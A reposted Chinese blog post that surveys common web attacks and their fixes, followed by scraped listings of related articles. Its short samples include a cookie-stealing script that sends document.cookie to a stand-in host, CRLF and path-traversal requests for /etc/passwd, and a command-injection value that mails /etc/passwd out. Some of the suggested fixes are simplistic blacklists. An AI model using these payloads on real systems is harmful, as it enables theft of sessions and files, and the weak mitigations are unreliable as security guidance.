原文地址:https://www.xingkongbj.com/blog/http/web-attack.html

产生原因

  • HTTP 不具备安全功能。
  • 在客户端可以篡改请求。

跨站脚本攻击 XSS

攻击方式:

  • 通过提交的信息中带入 js 脚本或 html 标签。
  • 提前闭合标签,有些甚至不用特殊处理。
  • 执行操作或者引入三方 js 。
正常请求:
http: //example.jp/login?ID="haha"
正常显示:
<input type="text" name="ID" value="yama" /> 攻击请求:
http: //example.jp/login?ID="><script>var+f=document.getElementById("login");</script>"
攻击显示:
<input type="text" name="ID" value=""><script>var+f=document.getElementById("login");</script>

解决方案:

  • 对提交内容进行编译,“<” 转 “&lt;”, ">" 转 “&gt;”。防止文本解析成标签。

跨站点伪造请求攻击 CSRF

攻击方式:

  • 通过第三方网站,访问本网站的接口,导致携带本网站的 cookie 。
  • 隐匿的使用户进行操作。

解决方案:

  • 方法一:验证 HTTP Referer 控制请求必须本网站发出。
  • 方法二:在请求地址中添加 token 并验证。
  • 方法三:在 HTTP 头中自定义属性并验证,第三方网站的请求禁止携带自定义头。

URL 跳转漏洞攻击

攻击方式:

  • 一般登录页面会在登录后,通过 URL 的参数进行回跳。
  • 第三方网站,通过提供正规的登录地址和错误的回跳地址。
  • 诱导用户以为安全登录。

解决方案:

  • 对回跳的地址进行严格校验。
  • 不能只简单校验域名是否在地址中存在。

对用户 Cookie 的窃取攻击

攻击方式:

  • 引入三方恶意脚本,传输 cookie 到三方服务器。
如下:
var content = escape(document.cookie);
document.write("&lt;img src=http: //hackr.jp/?");
document.write(content);
document.write(">");

解决方案:

  • 保证引入脚本的安全,可以通过 CSP 对引入资源进行限制。

HTTP 首部注入攻击

攻击方式:

  • 通过 %0D%0A 截断代码,注入 http 头代码。
Location: http: //example.com/a.cgi?q=101%0D%0ASet-Cookie:+SID=123456789

%0D%0A 代表 HTTP 报文中的换行符,紧接着的是可强制将攻击者网站(http: //hackr.jp/)的会话 ID 设置成 SID=123456789 的 Set-Cookie 首部字段。首部字段 Set-Cookie 已生效,因此攻击者可指定修改任意的 Cookie 信息。通过和会话固定攻击(攻击者可使用指定的会话 ID)攻击组合,攻击者可伪装成用户。

解决方案:

  • 对 %0D%0A 进行识别,并且剔除。

HTTP 响应截断攻击

攻击方式:

  • 通过 %0D%0A%0D%0A 截断代码,造成多余的空行,注入响应体代码。
Location: http: //example.com/a.cgi?q=101%0D%0A%0D%0Aalert(1);

HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。要将两个 %0D%0A%0D%0A 并排插入字符串后发送。利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。

解决方案:

  • 对 %0D%0A 进行识别,并且剔除。

SQL 注入攻击

攻击方式:

  • 通过单引号字符加“--”,截断 sql 语句。
正常请求:
http: //example.jp/search?q=haha
正常执行:
SELECT * FROM bookTbl WHERE author = 'haha' and flag = 1; 攻击请求:
http: //example.jp/search?q=haha‘ --
攻击显示:
SELECT * FROM bookTbl WHERE author = 'haha' --’ and flag = 1;
flag = 1 的条件被忽略

解决方案:

  • 对 “‘ --” 进行识别,并且剔除。

服务器文件攻击

攻击方式:

  • 通过读取服务器文件,获取服务器重要文件。
通过请求返回日志文件
http: //example.com/read.php?log=../../etc/passwd 查询字段为了读取攻击者盯上的 /etc/passwd 文件,会从 /www/log/ 目录开始定位相对路径。如果这份 read.php 脚本接受对指定目录的访问请求处理,那原本不公开的文件就存在可被访问的风险。

解决方案:

  • 对最终的访问路径进行校验,只能访问最小目录。

邮件首部注入攻击

攻击方式:

  • 通过 %0D%0A 截断代码,追加邮件地址。
  • 通过 %0D%0A%0D%0A 截断代码,造成多余的空行,篡改邮件主体。
bob@hackr.jp%0D%0ABcc: user@example.com

%0D%0A 在邮件报文中代表换行符。一旦咨询表单所在的 Web 应用接收了这个换行符,就可能实现对 Bcc 邮件地址的追加发送,而这原本是无法指定的。

bob @ hackr.jp%0D%0A%0D%0ATest Message

使用两个连续的换行符就有可能篡改邮件文本内容并发送。
再以相同的方法,就有可能改写 To 和 Subject 等任意邮件首部,或向文本添加附件等动作。

解决方案:

  • 对 %0D%0A 进行识别,并且剔除。

OS 命令注入攻击

攻击方式:

  • 通过分号,截断语句,加入攻击语句。
核心代码:
my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: info @ example.com\n"; 当传入 mailaddress 参数为 “; cat /etc/passwd | mail hack @ example.jp” 会执行下面的语句:
| /usr/sbin/sendmail ; cat /etc/passwd | mail hack @ example.jp
将含有 Linux 账户信息 /etc/passwd 的文件,就以邮件形式发送给了 hack @ example.jp。

解决方案:

  • 对分号进行识别,并报错。

web网络攻击解决方案的更多相关文章

  1. Spirit - 腾讯移动 Web 整体解决方案

    Spirit 并不是一个具体的框架或者工具,但是她是移动端一系列解决方案的整合与聚拢.她是腾讯 Alloyteam 开发团队在移动开发项目中通过大量实践.归纳.总结提炼而成,最终沉淀下来的一个体系,真 ...

  2. 实现SVN与WEB同步解决方案(转)

    实现SVN与WEB同步解决方案 1)设置WEB服务器根目录为/www/default 2)checkout一份SVN svn co svn://localhost/oplinux /www/defau ...

  3. 《精通CSS:高级Web标准解决方案》学习笔记(上)

    鉴于国产CSS书籍基本都是辣鸡的现状,我在半年前动用某工作室的购书资金采购了一些技术书籍,这本广受好评的<精通CSS>也在其中.但是在阅读过后我深深的感觉到,如果说CSS本来已经是一种很琐 ...

  4. CassiniDev源码学习 - 可替代IIS的单机Web Form解决方案

    最近一个项目是将web版的程序,改为单机版.话说这个web版号称当年十几个人用了至少3个月的时间开发,后来三年还不断有修改,而现在要在1个月内由一个人完成,这简直是不可能完成的任务!直觉告诉我,重写肯 ...

  5. (转)unity web 缓存解决方案

    unity web 缓存解决方案 官方发布 web版限制五十M缓存,根据自己的经验绕了过去,解决了缓存的问题.带工程,带源代码.由于本人的水平也有限,是用JS来解决的,如果你还是没有头绪,可以购买来试 ...

  6. VS2015 无法启动 IIS Express Web 服务器 解决方案

    VS2015 IIS Express 无法启动Web 解决方案 [亲测已成功] 1.我的电脑—管理—事件查看器—Windows日志—应用程序: 详细信息会提示你:[模块 DLL C:\Program ...

  7. 移动端web常见问题解决方案

    meta基础知识 H5页面窗口自动调整到设备宽度,并禁止用户缩放页面 忽略将页面中的数字识别为电话号码 忽略Android平台中对邮箱地址的识别 当网站添加到主屏幕快速启动方式,可隐藏地址栏,仅针对i ...

  8. 腾讯移动Web整体解决方案Spirit

    Spirit(勇气号),美国航天局NASA派往Mars(火星)的第一艘探测器.移动Web开发是一块新的领域,甚至有很多坑,这一点与人类从未踏上的Mars(火星)相似.为了避免开发者重复遇到相同的问题, ...

  9. Web缓存解决方案

    缓存是构建于HTTP统一接口之上的最有用功能之一.可以利用缓存减少终端用户感知到的延时,增加可靠性,减少带宽使用和成本,降低服务器负载.缓存无处不在,可以在服务器网络里,内容分发网络(Content ...

随机推荐

  1. 插入排序——Java实现

    一.排序思想 从数组第一个元素开始(0下标),该元素可以认为已经被排序: 取出待排序列中第一个元素,然后从“有序”序列中,从后往前扫描: 如果该元素(有序序列)大于待插入元素(待排序列),将该元素后移 ...

  2. Servlet中listener(监听器)和filter的总结

    Listener 我是这样理解他的,他是一种观察者模式的实现:我们在 web.xml 中配置 listener 的时候就是把一个被观察者放入的观察者的观察对象队列中,当被观察者触发了注册事件时观察者作 ...

  3. MySQL中在原表中做数据去重(按日期去重,保留id最小的记录)

    表名称 code600300 delete from code600300 where id not in (select minid from (select min(id) as minid fr ...

  4. Maven学习篇一:eclipse构建运行maven web项目

    1.new->other->maven project->next 2.选择创建简单项目(或者直接去掉勾,在后面选择maven-archetype-webapp) 3.设置坐标,名称 ...

  5. P2085 最小函数值(minval)

    题目描述 有n个函数,分别为F1,F2,...,Fn.定义Fi(x)=Aix^2+Bix+Ci (x∈N*).给定这些Ai.Bi和Ci,请求出所有函数的所有函数值中最小的m个(如有重复的要输出多个). ...

  6. 统计学中的P值与显著性的意义

    统计学意义(p值) 结果的统计学意义是结果真实程度(能够代表总体)的一种估计方法.专业上,p值为结果可信程度的一个递减指标,p值越大,我们越不能认为样本中变量的关联是总体中各变量关联的可靠指标.p值是 ...

  7. Java NIO(二) Channel

    Java NIO的通道类似流,但又有些不同: 既可以从通道中读取数据,又可以写数据到通道.但流的读写通常是单向的. 通道可以异步地读写. 通道中的数据总是要先读到一个Buffer,或者总是要从一个Bu ...

  8. 【Linux】应用程序内存段布局

    一.各段内存布局 内存布局图 1.BSS段(Block Started by Symbol)未初始化段 2.linux ELF base address is 0x8048000 应用程序虚拟地址起始 ...

  9. 缩短移动开发周期的ApiCloud

    ApiCloud百度百科介绍: ApiCloud 官网 官方论坛 APICloud经典O2O案例APP视频教程

  10. Recsys2018 music recomendation

    http://www.recsyschallenge.com/2018/ January 2018 Release of the "One Million Playlists" d ...